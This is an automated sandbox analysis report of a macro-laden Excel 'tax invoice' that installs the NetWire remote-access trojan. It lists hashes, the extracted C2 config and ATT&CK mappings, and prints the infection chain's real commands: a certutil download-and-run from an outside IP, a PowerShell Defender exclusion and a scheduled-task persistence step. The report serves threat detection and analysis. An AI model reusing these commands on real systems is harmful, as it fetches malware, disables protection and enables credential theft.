netwire | e209b1e1be73d201c0cf316df426fa1e0c2b436acf2d8c269ac6694b936d839e

Analysis

max time kernel
136s
max time network
163s
platform
windows10-2004_x64
resource
win10v2004-20220721-en
resource tags

arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system
submitted
10-08-2022 17:40

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General

Target

TAX INVOICE 00893.xlsm
Size

42KB
MD5

dfd371ebf737c86675d54224482f3bf3
SHA1

e84195e5871bfef86c18563ebe7b6ad1077f81e5
SHA256

e209b1e1be73d201c0cf316df426fa1e0c2b436acf2d8c269ac6694b936d839e
SHA512

994ba3a222532826c82081eb92ecb6d5cd57faf162fbd5e84ec1679fa13def5813b48c0f0b40044adf92a72ea9c6778c66474690635a7d0597e0f7c43b4391f2

Score

10^/10

netwire botnet rat stealer

Malware Config

Extracted

Family

netwire

194.5.98.126:3378

Attributes

activex_autorun
false
copy_executable
false
delete_original
false
host_id
HostId-%Rand%
keylogger_dir
%AppData%\Logs\
lock_executable
false
offline_keylogger
true
password
Pass@2023
registry_autorun
false
use_mutex
false

Signatures

NetWire RAT payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/4980-154-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral2/memory/4980-157-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral2/memory/4980-160-0x0000000000400000-0x0000000000433000-memory.dmp	netwire

Netwire
Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.
botnet stealer netwire

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1344	388	cmd.exe	EXCEL.EXE

Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

Aqrmdtmrohibrqzfihirniu.exe.exeAqrmdtmrohibrqzfihirniu.exe.exe

pid process

2236 Aqrmdtmrohibrqzfihirniu.exe.exe
4980 Aqrmdtmrohibrqzfihirniu.exe.exe

pid	process
2236	Aqrmdtmrohibrqzfihirniu.exe.exe
4980	Aqrmdtmrohibrqzfihirniu.exe.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Aqrmdtmrohibrqzfihirniu.exe.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Control Panel\International\Geo\Nation	Aqrmdtmrohibrqzfihirniu.exe.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

Aqrmdtmrohibrqzfihirniu.exe.exe

description pid process target process

PID 2236 set thread context of 4980 2236 Aqrmdtmrohibrqzfihirniu.exe.exe Aqrmdtmrohibrqzfihirniu.exe.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	pid	process	target process
PID 2236 set thread context of 4980	2236	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

5092 schtasks.exe

pid	process
5092	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

388 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4476 powershell.exe
4476 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4476 powershell.exe

pid	process
4476	powershell.exe
4476	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4476	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
388	EXCEL.EXE
388	EXCEL.EXE
388	EXCEL.EXE
388	EXCEL.EXE
388	EXCEL.EXE
388	EXCEL.EXE
388	EXCEL.EXE
388	EXCEL.EXE
388	EXCEL.EXE
388	EXCEL.EXE
388	EXCEL.EXE
388	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

EXCEL.EXEcmd.exeAqrmdtmrohibrqzfihirniu.exe.exe

description	pid	process	target process
PID 388 wrote to memory of 1344	388	EXCEL.EXE	cmd.exe
PID 388 wrote to memory of 1344	388	EXCEL.EXE	cmd.exe
PID 1344 wrote to memory of 1812	1344	cmd.exe	certutil.exe
PID 1344 wrote to memory of 1812	1344	cmd.exe	certutil.exe
PID 1344 wrote to memory of 2236	1344	cmd.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 1344 wrote to memory of 2236	1344	cmd.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 1344 wrote to memory of 2236	1344	cmd.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 2236 wrote to memory of 4476	2236	Aqrmdtmrohibrqzfihirniu.exe.exe	powershell.exe
PID 2236 wrote to memory of 4476	2236	Aqrmdtmrohibrqzfihirniu.exe.exe	powershell.exe
PID 2236 wrote to memory of 4476	2236	Aqrmdtmrohibrqzfihirniu.exe.exe	powershell.exe
PID 2236 wrote to memory of 5092	2236	Aqrmdtmrohibrqzfihirniu.exe.exe	schtasks.exe
PID 2236 wrote to memory of 5092	2236	Aqrmdtmrohibrqzfihirniu.exe.exe	schtasks.exe
PID 2236 wrote to memory of 5092	2236	Aqrmdtmrohibrqzfihirniu.exe.exe	schtasks.exe
PID 2236 wrote to memory of 4980	2236	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 2236 wrote to memory of 4980	2236	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 2236 wrote to memory of 4980	2236	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 2236 wrote to memory of 4980	2236	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 2236 wrote to memory of 4980	2236	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 2236 wrote to memory of 4980	2236	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 2236 wrote to memory of 4980	2236	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 2236 wrote to memory of 4980	2236	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 2236 wrote to memory of 4980	2236	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 2236 wrote to memory of 4980	2236	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe
PID 2236 wrote to memory of 4980	2236	Aqrmdtmrohibrqzfihirniu.exe.exe	Aqrmdtmrohibrqzfihirniu.exe.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\TAX INVOICE 00893.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:388

C:\Windows\SYSTEM32\cmd.exe
cmd /c certutil.exe -urlcache -split -f "http://192.3.194.246/ecst.exe" Aqrmdtmrohibrqzfihirniu.exe.exe && Aqrmdtmrohibrqzfihirniu.exe.exe
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1344

C:\Windows\system32\certutil.exe
certutil.exe -urlcache -split -f "http://192.3.194.246/ecst.exe" Aqrmdtmrohibrqzfihirniu.exe.exe
3⤵
PID:1812

C:\Users\Admin\Documents\Aqrmdtmrohibrqzfihirniu.exe.exe
Aqrmdtmrohibrqzfihirniu.exe.exe
3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2236

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\TmbJbrgFWL.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4476

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmbJbrgFWL" /XML "C:\Users\Admin\AppData\Local\Temp\tmpA558.tmp"
4⤵
- Creates scheduled task(s)
PID:5092

C:\Users\Admin\Documents\Aqrmdtmrohibrqzfihirniu.exe.exe
"C:\Users\Admin\Documents\Aqrmdtmrohibrqzfihirniu.exe.exe"
4⤵
- Executes dropped EXE
PID:4980

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\tmpA558.tmp

Filesize
1KB

MD5
a64397f81fbb634e5722c149ed96e697

SHA1
0066ad87360f8dc6106b6f144b68b934496a8bcb

SHA256
053324b6ec3340c4f5ebca656664c30cbba089d6f0316548c66ee7594b57a6d6

SHA512
69ce73eee3f4588c965dd95687a10a35fae732fbbe359b3dd2edf3ebc2ac5b22aa5b04e9b45b9b9e7d505d3047626a968777d20fa89ee6f5030b411daeb9897f

Download Submit
C:\Users\Admin\Documents\Aqrmdtmrohibrqzfihirniu.exe.exe

Filesize
642KB

MD5
f9322ac00bfcc0cfce12ed4fb88d0aa1

SHA1
61d94897a267d53d3f3e3399345c4ecc7918295d

SHA256
e1005be756be06a809c11b66b47c79ee2fba85b2870693bee2882f369f03cec7

SHA512
202bcd7c5bc00a4d7a71cc73c38abfa927e2ef70b14333637ae5396cae5eb9035902a2da436efb9128d599c6a9dbdf43fed12c869a5affa2bce5ccce25d572d1

Download Submit
C:\Users\Admin\Documents\Aqrmdtmrohibrqzfihirniu.exe.exe

Filesize
642KB

MD5
f9322ac00bfcc0cfce12ed4fb88d0aa1

SHA1
61d94897a267d53d3f3e3399345c4ecc7918295d

SHA256
e1005be756be06a809c11b66b47c79ee2fba85b2870693bee2882f369f03cec7

SHA512
202bcd7c5bc00a4d7a71cc73c38abfa927e2ef70b14333637ae5396cae5eb9035902a2da436efb9128d599c6a9dbdf43fed12c869a5affa2bce5ccce25d572d1

Download Submit
C:\Users\Admin\Documents\Aqrmdtmrohibrqzfihirniu.exe.exe

Filesize
642KB

MD5
f9322ac00bfcc0cfce12ed4fb88d0aa1

SHA1
61d94897a267d53d3f3e3399345c4ecc7918295d

SHA256
e1005be756be06a809c11b66b47c79ee2fba85b2870693bee2882f369f03cec7

SHA512
202bcd7c5bc00a4d7a71cc73c38abfa927e2ef70b14333637ae5396cae5eb9035902a2da436efb9128d599c6a9dbdf43fed12c869a5affa2bce5ccce25d572d1

Download Submit
memory/388-176-0x00007FFE3DA90000-0x00007FFE3DAA0000-memory.dmp

Filesize
64KB

Download
memory/388-132-0x00007FFE3DA90000-0x00007FFE3DAA0000-memory.dmp

Filesize
64KB

Download
memory/388-136-0x00007FFE3B130000-0x00007FFE3B140000-memory.dmp

Filesize
64KB

Download
memory/388-174-0x00007FFE3DA90000-0x00007FFE3DAA0000-memory.dmp

Filesize
64KB

Download
memory/388-133-0x00007FFE3DA90000-0x00007FFE3DAA0000-memory.dmp

Filesize
64KB

Download
memory/388-134-0x00007FFE3DA90000-0x00007FFE3DAA0000-memory.dmp

Filesize
64KB

Download
memory/388-130-0x00007FFE3DA90000-0x00007FFE3DAA0000-memory.dmp

Filesize
64KB

Download
memory/388-135-0x00007FFE3B130000-0x00007FFE3B140000-memory.dmp

Filesize
64KB

Download
memory/388-131-0x00007FFE3DA90000-0x00007FFE3DAA0000-memory.dmp

Filesize
64KB

Download
memory/388-173-0x00007FFE3DA90000-0x00007FFE3DAA0000-memory.dmp

Filesize
64KB

Download
memory/388-175-0x00007FFE3DA90000-0x00007FFE3DAA0000-memory.dmp

Filesize
64KB

Download
memory/1344-137-0x0000000000000000-mapping.dmp

Download
memory/1812-138-0x0000000000000000-mapping.dmp

Download
memory/2236-143-0x0000000005F00000-0x00000000064A4000-memory.dmp

Filesize
5.6MB

Download
memory/2236-147-0x000000000B610000-0x000000000B676000-memory.dmp

Filesize
408KB

Download
memory/2236-146-0x000000000B570000-0x000000000B60C000-memory.dmp

Filesize
624KB

Download
memory/2236-145-0x0000000005930000-0x000000000593A000-memory.dmp

Filesize
40KB

Download
memory/2236-144-0x0000000005870000-0x0000000005902000-memory.dmp

Filesize
584KB

Download
memory/2236-142-0x0000000000E40000-0x0000000000EE8000-memory.dmp

Filesize
672KB

Download
memory/2236-139-0x0000000000000000-mapping.dmp

Download
memory/4476-152-0x0000000005310000-0x0000000005938000-memory.dmp

Filesize
6.2MB

Download
memory/4476-166-0x00000000073B0000-0x00000000073CA000-memory.dmp

Filesize
104KB

Download
memory/4476-148-0x0000000000000000-mapping.dmp

Download
memory/4476-158-0x0000000005940000-0x0000000005962000-memory.dmp

Filesize
136KB

Download
memory/4476-159-0x00000000059E0000-0x0000000005A46000-memory.dmp

Filesize
408KB

Download
memory/4476-150-0x0000000002790000-0x00000000027C6000-memory.dmp

Filesize
216KB

Download
memory/4476-161-0x00000000060A0000-0x00000000060BE000-memory.dmp

Filesize
120KB

Download
memory/4476-162-0x0000000006670000-0x00000000066A2000-memory.dmp

Filesize
200KB

Download
memory/4476-163-0x0000000071170000-0x00000000711BC000-memory.dmp

Filesize
304KB

Download
memory/4476-164-0x0000000006640000-0x000000000665E000-memory.dmp

Filesize
120KB

Download
memory/4476-165-0x00000000079F0000-0x000000000806A000-memory.dmp

Filesize
6.5MB

Download
memory/4476-171-0x00000000076D0000-0x00000000076D8000-memory.dmp

Filesize
32KB

Download
memory/4476-167-0x0000000007420000-0x000000000742A000-memory.dmp

Filesize
40KB

Download
memory/4476-168-0x0000000007630000-0x00000000076C6000-memory.dmp

Filesize
600KB

Download
memory/4476-169-0x00000000075E0000-0x00000000075EE000-memory.dmp

Filesize
56KB

Download
memory/4476-170-0x00000000076F0000-0x000000000770A000-memory.dmp

Filesize
104KB

Download
memory/4980-154-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/4980-153-0x0000000000000000-mapping.dmp

Download
memory/4980-160-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/4980-157-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/5092-149-0x0000000000000000-mapping.dmp

Download